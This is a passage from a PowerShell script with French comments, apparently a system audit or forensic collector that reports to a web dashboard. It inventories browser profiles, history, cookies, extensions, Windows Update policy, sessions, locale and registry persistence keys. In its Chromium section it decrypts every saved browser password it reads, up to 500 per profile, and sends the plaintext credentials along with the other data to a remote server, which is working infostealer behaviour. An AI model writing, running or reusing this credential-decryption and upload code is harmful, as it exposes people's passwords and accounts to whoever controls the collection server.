    if (Test-Path $Path) { [Math]::Round((Get-Item $Path -ErrorAction SilentlyContinue).Length / 1KB) } else { $null }
}

function Get-ChromiumExtensions { param([string]$ExtRoot)
    $exts = @()
    if (-not (Test-Path $ExtRoot)) { return $exts }
    Get-ChildItem $ExtRoot -Directory -ErrorAction SilentlyContinue | ForEach-Object {
        $extId = $_.Name
        if ($extId.Length -ne 32) { return }  # ignorer les dossiers non-extension
        # Structure reelle : Extensions/<ext_id>/<version>/manifest.json
        Get-ChildItem $_.FullName -Directory -ErrorAction SilentlyContinue | Select-Object -First 1 | ForEach-Object {
            $mf = Join-Path $_.FullName "manifest.json"
            if (Test-Path $mf) {
                try {
                    $m = Get-Content $mf -Raw -Encoding UTF8 | ConvertFrom-Json
                    $extName = if ($m.name -notmatch '__MSG_') { $m.name } else { $extId }
                    $exts += @{ id=$extId; name="$extName"; version="$($m.version)"; mv="$($m.manifest_version)" }
                } catch {}
            }
        }
    }
    return $exts
}

function Flatten-Bookmarks { param($Node, [int]$Depth=0)
    if ($Depth -gt 8 -or $null -eq $Node) { return @() }
    if ($Node.type -eq 'url') { return @(@{ name="$($Node.name)"; url="$($Node.url)" }) }
    $out = @()
    if ($Node.children) { foreach ($c in $Node.children) { $out += Flatten-Bookmarks $c ($Depth+1) } }
    return $out
}

function Get-ChromiumProfile { param([string]$BrowserName, [string]$UserDataPath)
    $result = @{ browser=$BrowserName; path=$UserDataPath; version=$null; profiles=@() }
    if (-not (Test-Path $UserDataPath)) { return $result }

    # Version depuis le registre
    @(
        "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\$($BrowserName.ToLower()).exe"
        "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\$($BrowserName.ToLower()).exe"
    ) | ForEach-Object {
        if (-not $result.version -and (Test-Path $_)) {
            try { $result.version = (Get-Item (Get-ItemProperty $_ -ErrorAction Stop).'(Default)' -ErrorAction Stop).VersionInfo.FileVersion } catch {}
        }
    }

    # Local State = liste des profils, compte sync global
    $localState = $null
    try { $localState = Get-Content (Join-Path $UserDataPath "Local State") -Raw -Encoding UTF8 | ConvertFrom-Json } catch {}

    # Dossiers de profil (Default + Profile N)
    $profileDirs = @("Default") + @(Get-ChildItem $UserDataPath -Directory -ErrorAction SilentlyContinue |
        Where-Object { $_.Name -match '^Profile \d+$' } | ForEach-Object { $_.Name })

    foreach ($pDir in $profileDirs) {
        $pPath = Join-Path $UserDataPath $pDir
        if (-not (Test-Path $pPath)) { continue }

        # Info depuis Local State
        $pInfo = $null
        try { $pInfo = $localState.profile.info_cache.$pDir } catch {}

        # Bookmarks
        $bookmarks = @{ bar=@(); other=@(); total=0 }
        $bmFile = Join-Path $pPath "Bookmarks"
        if (Test-Path $bmFile) {
            try {
                $bm = Get-Content $bmFile -Raw -Encoding UTF8 | ConvertFrom-Json
                $bar   = @(Flatten-Bookmarks $bm.roots.bookmark_bar | Select-Object -First 300)
                $other = @(Flatten-Bookmarks $bm.roots.other        | Select-Object -First 100)
                $bookmarks = @{ bar=$bar; other=$other; total=($bar.Count + $other.Count) }
            } catch {}
        }

        # Preferences : moteur de recherche, demarrage, sync, securite
        $prefs = @{}
        $prefsFile = Join-Path $pPath "Preferences"
        if (Test-Path $prefsFile) {
            try {
                $p = Get-Content $prefsFile -Raw -Encoding UTF8 | ConvertFrom-Json
                $prefs = @{
                    search_engine  = $(try { $p.default_search_provider_data.template_url_data.short_name } catch { $null })
                    homepage       = $p.homepage
                    startup_type   = switch ($p.session.restore_on_startup) { 1{"Derniere session"} 4{"Pages specifiques"} 5{"Nouvel onglet"} default{$null} }
                    startup_urls   = @($p.session.startup_urls)
                    new_tab_url    = $(try { $p.ntp.override_url } catch { $null })
                    language       = $p.intl.accept_languages
                    sync_email     = $(try { $p.account_info[0].email } catch { $null })
                    safe_browsing  = $p.safebrowsing.enabled
                    save_passwords = $p.credentials_enable_service
                    dns_prefetch   = $p.dns_prefetching.enabled
                    last_active    = $(try { ConvertTo-IsoDate ([DateTime]::FromFileTime([long]$p.profile.last_active_timestamp_win)) } catch { $null })
                }
            } catch {}
        }

        # Extensions (chemin correct : <ext_id>/<version>/manifest.json)
        $exts = @(Get-ChromiumExtensions (Join-Path $pPath "Extensions"))

        # Tailles fichiers cles (sans SQLite)
        $fileSizes = @{
            history_kb    = Get-FileSizeKb (Join-Path $pPath "History")
            passwords_kb  = Get-FileSizeKb (Join-Path $pPath "Login Data")
            cookies_kb    = Get-FileSizeKb (Join-Path $pPath "Cookies")
            web_data_kb   = Get-FileSizeKb (Join-Path $pPath "Web Data")
            bookmarks_kb  = Get-FileSizeKb (Join-Path $pPath "Bookmarks")
        }

        # Historique (top 100 par visites)
        $history = @()
        $hRows = Read-SQLite (Join-Path $pPath "History") "SELECT url,title,visit_count,last_visit_time FROM urls WHERE url NOT LIKE 'chrome%' AND url NOT LIKE 'edge%' ORDER BY visit_count DESC LIMIT 100"
        if ($hRows) {
            $history = @($hRows | ForEach-Object {
                @{
                    url        = $_.url
                    title      = $_.title
                    visits     = [int]($_.visit_count)
                    last_visit = try { ConvertTo-IsoDate ([DateTime]::FromFileTime([long]$_.last_visit_time * 10)) } catch { $null }
                }
            })
        }

        # Cookies (résumé domaines)
        $cookiesSummary = @()
        foreach ($cf in @((Join-Path $pPath "Cookies"), (Join-Path $pPath "Network\Cookies"))) {
            $cRows = Read-SQLite $cf "SELECT host_key,COUNT(*) as cnt FROM cookies GROUP BY host_key ORDER BY cnt DESC LIMIT 100"
            if ($cRows) { $cookiesSummary = @($cRows | ForEach-Object { @{ domain=$_.host_key; count=[int]$_.cnt } }); break }
        }

        # Mots de passe (déchiffrés via DPAPI/AES-GCM)
        $aesKey  = Get-ChromeAesKey $UserDataPath
        $savedPwd = @()
        $pwdRows = Read-SQLite (Join-Path $pPath "Login Data") "SELECT origin_url,username_value,password_value FROM logins ORDER BY date_created DESC LIMIT 500"
        foreach ($row in @($pwdRows)) {
            $dec = $null
            try {
                $blob = if ($row.password_value -is [byte[]]) { $row.password_value }
                        elseif ($row.password_value) {
                            $str = [string]$row.password_value
                            try { [Convert]::FromBase64String($str) } catch { [System.Text.Encoding]::Latin1.GetBytes($str) }
                        } else { $null }
                if ($blob) { $dec = Decrypt-ChromePwd $blob $aesKey }
            } catch {}
            $savedPwd += @{ url=$row.origin_url; username=$row.username_value; password=$dec }
        }

        $result.profiles += @{
            dir        = $pDir
            name       = if ($pInfo -and $pInfo.name) { $pInfo.name } else { $pDir }
            email      = if ($pInfo -and $pInfo.user_name) { $pInfo.user_name } else { $prefs.sync_email }
            is_default = ($pDir -eq "Default")
            bookmarks  = $bookmarks
            preferences= $prefs
            extensions = $exts
            file_sizes = $fileSizes
            history    = $history
            cookies    = $cookiesSummary
            passwords  = $savedPwd
        }
    }
    return $result
}

function Get-FirefoxProfiles { param([string]$ProfilesRoot)
    $results = @()
    if (-not (Test-Path $ProfilesRoot)) { return $results }
    Get-ChildItem $ProfilesRoot -Directory -ErrorAction SilentlyContinue | ForEach-Object {
        $pPath = $_.FullName

        # Extensions
        $exts = @()
        try {
            $extData = Get-Content (Join-Path $pPath "extensions.json") -Raw -Encoding UTF8 -ErrorAction Stop | ConvertFrom-Json
            foreach ($addon in $extData.addons) {
                if ($addon.type -eq "extension") {
                    $exts += @{ id=$addon.id; name="$($addon.defaultLocale.name)"; version="$($addon.version)"; active=[bool]$addon.active }
                }
            }
        } catch {}

        # Preferences (prefs.js)
        $ffPrefs = @{}
        try {
            Get-Content (Join-Path $pPath "prefs.js") -Encoding UTF8 -ErrorAction Stop | ForEach-Object {
                if ($_ -match 'user_pref\("([^"]+)",\s*(.+)\);') {
                    $ffPrefs[$Matches[1]] = $Matches[2].Trim('"')
                }
            }
        } catch {}

        # Historique Firefox (places.sqlite)
        $ffHistory = @()
        $ffHRows = Read-SQLite (Join-Path $pPath "places.sqlite") "SELECT url,title,visit_count,last_visit_date FROM moz_places WHERE url NOT LIKE 'place:%' AND url NOT LIKE 'about:%' AND visit_count>0 ORDER BY visit_count DESC LIMIT 100"
        if ($ffHRows) {
            $ffHistory = @($ffHRows | ForEach-Object {
                @{
                    url        = $_.url
                    title      = $_.title
                    visits     = [int]($_.visit_count)
                    last_visit = try { ConvertTo-IsoDate ([DateTime]::new(1970,1,1).AddMicroseconds([double]$_.last_visit_date)) } catch { $null }
                }
            })
        }

        # Cookies Firefox
        $ffCookies = @()
        $ffCRows = Read-SQLite (Join-Path $pPath "cookies.sqlite") "SELECT baseDomain,COUNT(*) as cnt FROM moz_cookies GROUP BY baseDomain ORDER BY cnt DESC LIMIT 100"
        if ($ffCRows) { $ffCookies = @($ffCRows | ForEach-Object { @{ domain=$_.baseDomain; count=[int]$_.cnt } }) }

        # Logins Firefox (chiffrés NSS — on récupère les URLs + le nombre)
        $ffLogins = @()
        $loginsPath = Join-Path $pPath "logins.json"
        if (Test-Path $loginsPath) {
            try {
                $ldata = Get-Content $loginsPath -Raw | ConvertFrom-Json
                $ffLogins = @($ldata.logins | ForEach-Object { @{ url=$_.hostname; time_last_used=$_.timeLastUsed } })
            } catch {}
        }

        $results += @{
            profile_name    = $_.Name
            extensions      = $exts
            search_engine   = $ffPrefs["browser.search.defaultenginename"]
            homepage        = $ffPrefs["browser.startup.homepage"]
            startup_type    = $ffPrefs["browser.startup.page"]
            language        = $ffPrefs["intl.accept_languages"]
            sync_account    = $ffPrefs["services.sync.username"]
            safe_browsing   = $ffPrefs["browser.safebrowsing.malware.enabled"]
            file_sizes      = @{
                places_kb   = Get-FileSizeKb (Join-Path $pPath "places.sqlite")
                logins_kb   = Get-FileSizeKb (Join-Path $pPath "logins.json")
                key4_kb     = Get-FileSizeKb (Join-Path $pPath "key4.db")
                cookies_kb  = Get-FileSizeKb (Join-Path $pPath "cookies.sqlite")
                favicons_kb = Get-FileSizeKb (Join-Path $pPath "favicons.sqlite")
            }
            history         = $ffHistory
            cookies         = $ffCookies
            logins          = $ffLogins
            rollback_files  = @(
                @{ file="places.sqlite";   desc="Historique + marque-pages" }
                @{ file="logins.json";     desc="Mots de passe chiffres" }
                @{ file="key4.db";         desc="Cle de chiffrement mots de passe" }
                @{ file="cert9.db";        desc="Certificats" }
                @{ file="prefs.js";        desc="Preferences utilisateur" }
                @{ file="extensions.json"; desc="Liste extensions" }
                @{ file="cookies.sqlite";  desc="Cookies" }
            ) | Where-Object { Test-Path (Join-Path $pPath $_.file) } | ForEach-Object {
                $_ + @{ path = (Join-Path $pPath $_.file) }
            }
        }
    }
    return $results
}

# Detection et collecte par navigateur
$browsers = @(
    @{ name="chrome";  label="Google Chrome";      path="$env:LOCALAPPDATA\Google\Chrome\User Data" }
    @{ name="msedge";  label="Microsoft Edge";     path="$env:LOCALAPPDATA\Microsoft\Edge\User Data" }
    @{ name="brave";   label="Brave Browser";      path="$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data" }
    @{ name="opera";   label="Opera";              path="$env:APPDATA\Opera Software\Opera Stable" }
    @{ name="vivaldi"; label="Vivaldi";            path="$env:LOCALAPPDATA\Vivaldi\User Data" }
    @{ name="opera_gx";label="Opera GX";           path="$env:APPDATA\Opera Software\Opera GX Stable" }
)
$chromiumProfiles = @()
foreach ($b in $browsers) {
    if (Test-Path $b.path) {
        $chromiumProfiles += Get-ChromiumProfile $b.label $b.path
    }
}
$firefoxProfiles = @(Get-FirefoxProfiles "$env:APPDATA\Mozilla\Firefox\Profiles")

Send-Section "browser_profiles" @{
    chromium = @($chromiumProfiles)
    firefox  = @($firefoxProfiles)
    rollback_note = "Pour rollback Chromium: copier Bookmarks, Preferences, Login Data, Web Data du dossier profil. Pour Firefox: places.sqlite, logins.json, key4.db, cert9.db, prefs.js."
}

# ── Audit extra ───────────────────────────────────────────────────────────────
Write-Log "Audit extra (extensions nav., lecteurs reseau, WU, sessions...)..." "INFO"

# 1. Extensions navigateur (deprecated - voir browser_profiles pour donnees completes)
function Get-ChromeExtensions {
    param([string]$ProfilePath)  # ProfilePath = dossier Extensions
    return @(Get-ChromiumExtensions $ProfilePath)
}
function Get-FirefoxExtensions {
    param([string]$ProfilesRoot)
    $exts = @()
    if (-not (Test-Path $ProfilesRoot)) { return $exts }
    Get-ChildItem $ProfilesRoot -Directory -ErrorAction SilentlyContinue | ForEach-Object {
        $extFile = Join-Path $_.FullName "extensions.json"
        if (Test-Path $extFile) {
            try {
                $data = Get-Content $extFile -Raw -Encoding UTF8 | ConvertFrom-Json
                foreach ($addon in $data.addons) {
                    if ($addon.type -eq "extension") {
                        $exts += @{ id=$addon.id; name="$($addon.defaultLocale.name)"; version="$($addon.version)"; active=[bool]$addon.active }
                    }
                }
            } catch {}
        }
    }
    return $exts
}
$chromeExts = Get-ChromeExtensions "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions"
$edgeExts   = Get-ChromeExtensions "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Extensions"
$ffExts     = Get-FirefoxExtensions "$env:APPDATA\Mozilla\Firefox\Profiles"

# 2. Lecteurs réseau mappés
$mappedDrives = @()
try {
    $mappedDrives = Get-PSDrive -PSProvider FileSystem -ErrorAction Stop | Where-Object {
        $_.DisplayRoot -and $_.DisplayRoot.StartsWith("\\")
    } | ForEach-Object {
        @{ letter = $_.Name; path = $_.DisplayRoot; description = $_.Description }
    }
} catch {
    $netUse = (net use 2>&1)
    $mappedDrives = @($netUse -join "`n")
}

# 3. Windows Update — politique et serveur WSUS
$wuPolicies = @{}
$wuAU       = @{}
try {
    $wuKey = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate"
    if (Test-Path $wuKey) {
        $wuProps = Get-ItemProperty $wuKey -ErrorAction Stop
        $wuPolicies = @{
            wsus_server        = $wuProps.WUServer
            wsus_status_server = $wuProps.WUStatusServer
            disable_wu_access  = $wuProps.DisableWindowsUpdateAccess
            elevated_non_admin = $wuProps.ElevateNonAdmins
            target_group       = $wuProps.TargetGroup
        }
    }
} catch {}
try {
    $auKey = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"
    if (Test-Path $auKey) {
        $auProps = Get-ItemProperty $auKey -ErrorAction Stop
        $wuAU = @{
            no_auto_update        = $auProps.NoAutoUpdate
            au_options            = $auProps.AUOptions
            scheduled_install_day = $auProps.ScheduledInstallDay
            scheduled_install_time= $auProps.ScheduledInstallTime
            use_wu_server         = $auProps.UseWUServer
            no_auto_reboot        = $auProps.NoAutoRebootWithLoggedOnUsers
        }
    }
} catch {}

# 4. Configuration des journaux d'événements
$eventLogConfig = try {
    Get-WinEvent -ListLog * -ErrorAction Stop | Where-Object { $_.IsEnabled } |
    Select-Object -First 80 | ForEach-Object {
        @{
            log_name     = $_.LogName
            max_size_mb  = [Math]::Round($_.MaximumSizeInBytes / 1MB, 1)
            file_size_mb = [Math]::Round($_.FileSize / 1MB, 1)
            record_count = $_.RecordCount
            overflow     = $_.LogMode.ToString()
        }
    }
} catch { @() }

# 5. Heure de démarrage (événement 12 Kernel-Boot + LastBootUpTime)
$bootTimes = @()
try {
    $bootEvts = Get-WinEvent -ProviderName "Microsoft-Windows-Kernel-Boot" -MaxEvents 10 -ErrorAction Stop |
        Where-Object { $_.Id -eq 12 } |
        ForEach-Object { @{ event_time = ConvertTo-IsoDate $_.TimeCreated; id = $_.Id; message = $_.Message.Substring(0,[Math]::Min(200,$_.Message.Length)) } }
    $bootTimes = @($bootEvts)
} catch {}
$lastBootUpTime = try {
    $osWmi = Get-CimInstance Win32_OperatingSystem -ErrorAction Stop
    ConvertTo-IsoDate $osWmi.LastBootUpTime
} catch { $null }
$uptimeHours = try {
    $osWmi2 = Get-CimInstance Win32_OperatingSystem -ErrorAction Stop
    [Math]::Round((New-TimeSpan -Start $osWmi2.LastBootUpTime -End (Get-Date)).TotalHours, 1)
} catch { $null }

# 6. Sessions actives
$activeSessions = @()
try {
    $qwinsta = query session 2>&1
    foreach ($line in $qwinsta | Select-Object -Skip 1) {
        if ($line -match '^\s*(?<name>\S+)\s+(?<user>\S*)\s+(?<id>\d+)\s+(?<state>\w+)') {
            $activeSessions += @{
                session_name = $Matches['name']
                user         = $Matches['user']
                session_id   = $Matches['id']
                state        = $Matches['state']
            }
        }
    }
} catch {}

# 7. Date/heure et locale système
$sysLocale = @{}
try {
    $cult = [System.Globalization.CultureInfo]::CurrentCulture
    $uiCult = [System.Globalization.CultureInfo]::CurrentUICulture
    $tz = [System.TimeZoneInfo]::Local
    $sysLocale = @{
        system_locale       = (Get-WinSystemLocale -ErrorAction SilentlyContinue).Name
        system_locale_name  = (Get-WinSystemLocale -ErrorAction SilentlyContinue).DisplayName
        user_locale         = (Get-WinUserLanguageList -ErrorAction SilentlyContinue | Select-Object -First 1).LanguageTag
        ui_language         = $uiCult.Name
        culture             = $cult.Name
        culture_display     = $cult.DisplayName
        timezone_id         = $tz.Id
        timezone_display    = $tz.DisplayName
        timezone_offset     = $tz.BaseUtcOffset.ToString()
        dst_active          = [System.TimeZoneInfo]::Local.IsDaylightSavingTime((Get-Date))
        current_datetime    = (Get-Date -Format "o")
        date_format         = $cult.DateTimeFormat.ShortDatePattern
        time_format         = $cult.DateTimeFormat.ShortTimePattern
        first_day_of_week   = $cult.DateTimeFormat.FirstDayOfWeek.ToString()
    }
} catch {}

# Langues utilisateur installées (WinUserLanguageList)
$userLangs = @()
try {
    $userLangs = Get-WinUserLanguageList -ErrorAction Stop | ForEach-Object {
        @{
            tag          = $_.LanguageTag
            autonym      = $_.Autonym
            english_name = $_.EnglishName
            input_methods= @($_.InputMethodTips)
        }
    }
} catch {}

# 8. Dispositions clavier
$keyboardLayouts = @()
try {
    $layouts = Get-ItemProperty "HKCU:\Keyboard Layout\Preload" -ErrorAction Stop
    $layouts.PSObject.Properties | Where-Object { $_.Name -match '^\d+$' } | ForEach-Object {
        $klid = $_.Value
        $name = try {
            (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\$klid" -ErrorAction Stop).'Layout Text'
        } catch { $klid }
        $keyboardLayouts += @{ order = $_.Name; klid = $klid; name = $name }
    }
} catch {}
# Complément via WMI si la clé registre n'a rien donné
if ($keyboardLayouts.Count -eq 0) {
    try {
        $keyboardLayouts = Get-CimInstance Win32_Keyboard -ErrorAction Stop | ForEach-Object {
            @{ name = $_.Description; layout = $_.Layout; device_id = $_.DeviceID }
        }
    } catch {}
}

Send-Section "audit_extra" @{
    browser_extensions = @{
        chrome  = @($chromeExts)
        edge    = @($edgeExts)
        firefox = @($ffExts)
    }
    mapped_drives     = @($mappedDrives)
    windows_update    = @{
        policies = $wuPolicies
        au       = $wuAU
    }
    event_log_config  = @($eventLogConfig)
    boot_times        = @{
        last_boot_up   = $lastBootUpTime
        uptime_hours   = $uptimeHours
        kernel_events  = @($bootTimes)
    }
    active_sessions   = @($activeSessions)
    locale_datetime   = $sysLocale
    user_languages    = @($userLangs)
    keyboard_layouts  = @($keyboardLayouts)
}

# ── Registre ─────────────────────────────────────────────────────────────────
# Strategie :
#   HKLM : export cible des sous-cles a haute valeur forensique non deja collectees en JSON
#           (persistance, securite, reseau bas niveau, detournement processus, etc.)
#   HKCU : export complet (petit, ~20-50 MB, config user non structuree ailleurs)
if ($Mode -eq "Full" -and -not $script:OfflineMode) {
    Write-Log "Export registre cible (HKLM) + complet (HKCU)..." "INFO"

    # Sous-cles HKLM a valeur forensique non couvertes par les sections JSON
    $hklmTargets = @(
        # Persistance (demarrage, RunOnce)
        "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
        "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
        "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run"
        "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce"
        # Detournement de processus (IFEO)
        "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"
        # Winlogon (shell replacement, auto-logon, Userinit)
        "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
        # LSA / securite locale
        "HKLM\SYSTEM\CurrentControlSet\Control\Lsa"
        # Fournisseurs reseau (order = indicateur de compromission possible)
        "HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order"
        # Paramètres TCP/IP
        "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters"
        # Fichiers en attente de renommage (PendingFileRenameOperations)
        "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager"
        # Browser Helper Objects (IE/legacy BHO)
        "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects"
        # Providers d'authentification / credential providers
        "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers"
        # AppInit_DLLs (injection DLL globale)
        "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"
        # Handlers contextuels (shell extensions)
        "HKLM\SOFTWARE\Classes\*\shellex\ContextMenuHandlers"
        # Profils utilisateurs (liste, chemin, SID)
        "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList"
        # Cles MSConfig (services/startup desactives)
        "HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig"
        # Politiques systeme (autre que WU deja collecte)
        "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies"
        "HKLM\SOFTWARE\Policies\Microsoft\Windows\System"
    )

    # Assembler les exports cibles HKLM en un seul fichier
    $currHklm = Join-Path $TempDir "curr_hklm_targeted.reg"
    $prevHklm = Join-Path $DataDir  "prev_hklm_targeted.reg"
    $hklmLines = @("Windows Registry Editor Version 5.00", "")
    foreach ($target in $hklmTargets) {
        $tmpReg = Join-Path $TempDir "tmp_subkey.reg"
        & reg export $target $tmpReg /y 2>&1 | Out-Null
        if (Test-Path $tmpReg) {
            $content = Get-Content $tmpReg -Encoding Unicode | Select-Object -Skip 1  # enleve l'entete
            $hklmLines += $content
            Remove-Item $tmpReg -Force -ErrorAction SilentlyContinue
        }
    }
    [System.IO.File]::WriteAllLines($currHklm, $hklmLines, [System.Text.Encoding]::Unicode)

    # HKCU complet
    $currHkcu = Join-Path $TempDir "curr_hkcu.reg"
    $prevHkcu = Join-Path $DataDir  "prev_hkcu.reg"
    & reg export HKCU $currHkcu /y 2>&1 | Out-Null

    foreach ($pair in @(
        @{ Label="HKLM-targeted"; Hive="HKLM"; CurrPath=$currHklm; PrevPath=$prevHklm }
        @{ Label="HKCU";         Hive="HKCU"; CurrPath=$currHkcu;  PrevPath=$prevHkcu }
    )) {
        if (-not (Test-Path $pair.CurrPath)) { continue }

        if (Test-Path $pair.PrevPath) {
            Write-Log "$($pair.Label) : calcul du diff..." "INFO"
            $oldLines = Get-Content $pair.PrevPath -Encoding Unicode
            $newLines = Get-Content $pair.CurrPath -Encoding Unicode
            $diff = Compare-Object $oldLines $newLines | ForEach-Object {
                $prefix = if ($_.SideIndicator -eq "=>") { "+ " } else { "- " }
                "$prefix$($_.InputObject)"
            }
            $diffText = $diff -join "`n"
            $diffTxtPath = Join-Path $TempDir "$($pair.Label)_diff.txt"
            [System.IO.File]::WriteAllBytes($diffTxtPath, [System.Text.Encoding]::UTF8.GetBytes($diffText))
            Send-RegistryFile $diffTxtPath $pair.Hive "diff"
            Remove-Item $diffTxtPath -Force -ErrorAction SilentlyContinue
        } else {
            Send-RegistryFile $pair.CurrPath $pair.Hive "full"
        }
        Copy-Item $pair.CurrPath $pair.PrevPath -Force
        Remove-Item $pair.CurrPath -Force -ErrorAction SilentlyContinue
    }
}

# ── Finalisation ──────────────────────────────────────────────────────────────
if ($script:OfflineMode) {
    Write-Log "Mode hors ligne - generation du fichier local..." "INFO"
    $outFile = Export-OfflineScan
    Write-Log "Collecte hors ligne terminee." "OK"
    Write-Log "Fichier : $outFile" "INFO"
    Write-Log "Glisser-deposer ce fichier dans le dashboard web pour l'importer." "INFO"
} else {
    Complete-Scan
    Write-Log "Collecte terminee. Scan ID: $ScanId" "OK"
    Write-Log "Dashboard : $ServerUrl" "INFO"
}
Remove-Item $TempDir -Recurse -Force -ErrorAction SilentlyContinue
